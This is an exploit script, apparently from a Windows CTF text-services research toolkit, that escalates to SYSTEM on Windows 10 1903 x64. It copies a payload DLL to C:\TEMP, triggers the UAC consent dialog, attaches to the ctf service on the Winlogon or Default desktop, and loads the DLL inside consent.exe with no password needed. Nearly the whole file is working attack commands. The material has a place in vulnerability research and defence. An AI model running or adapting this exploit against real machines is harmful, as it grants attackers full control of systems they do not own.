# This script loads an arbitrary dll as SYSTEM on Win10 1903 x64. This
# works by taking over the UAC consent dialog, which can be invoked by any
# user (for example, by using the runas verb with ShellExecute()).
# vim: syntax=sh

print Attempting to copy exploit payload...

# This exploit runs LoadLibraryA(C:\TEMP\EXPLOIT.DLL) as SYSTEM.
run XCOPY PAYLOAD64.DLL C:\TEMP\EXPLOIT.DLL*

# Print a warning if that didnt work.
repeat rc print
repeat rc print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
repeat rc print !!! THIS EXPLOIT REQUIRES C:\TEMP\EXPLOIT.DLL TO EXIST !!!
repeat rc print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
repeat rc print

print
print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
print !!! YOU DONT NEED TO KNOW ANY PASSWORD, JUST WAIT! !!!
print !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
print
sleep 5000

consent

# Find out if the PromptOnSecureDesktop is enabled.
reg HKLM PromptOnSecureDesktop Software\Microsoft\Windows\CurrentVersion\Policies\System

set r0 regval

# Connect to the ctf service for the Winlogon desktop.
repeat r0 connect Winlogon sid

sub r0 1
and r0 1

# If it wasn't the "secure" desktop, just use the default one.
repeat r0 connect Default sid

print Waiting for the consent dialog to join the session...

wait consent.exe

print consent.exe has joined the session, starting exploit...
scan

# Now that we're connected and have a target selected, load the exploit script.
script scripts\ctf-exploit-common-win10.ctf

print
print Exploit complete.
print
